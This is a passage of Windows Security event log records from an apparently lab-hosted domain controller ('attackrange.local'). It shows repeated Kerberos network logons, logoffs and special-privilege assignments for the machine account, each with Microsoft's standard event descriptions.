			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248871
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC8281

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248870
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC8281
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64060

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248869
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC8281

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248868
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC821B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248867
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC821B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64059

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248866
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC821B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248865
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC81BA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248864
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC81BA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64058

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248863
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC81BA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248886
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC8473

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248885
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC8473
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64065

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248884
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC8473

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248883
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC8412

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248882
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC8412
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64064

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248881
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC8412

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248880
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC83AC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248879
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC83AC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64063

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248878
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC83AC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248877
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC834B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248876
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC834B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64062

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248875
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC834B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248898
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC8604

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248897
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC8604
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64069

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248896
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC8604

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248895
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC85A3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248894
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC85A3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64068

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248893
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC85A3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248892
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC853D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248891
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

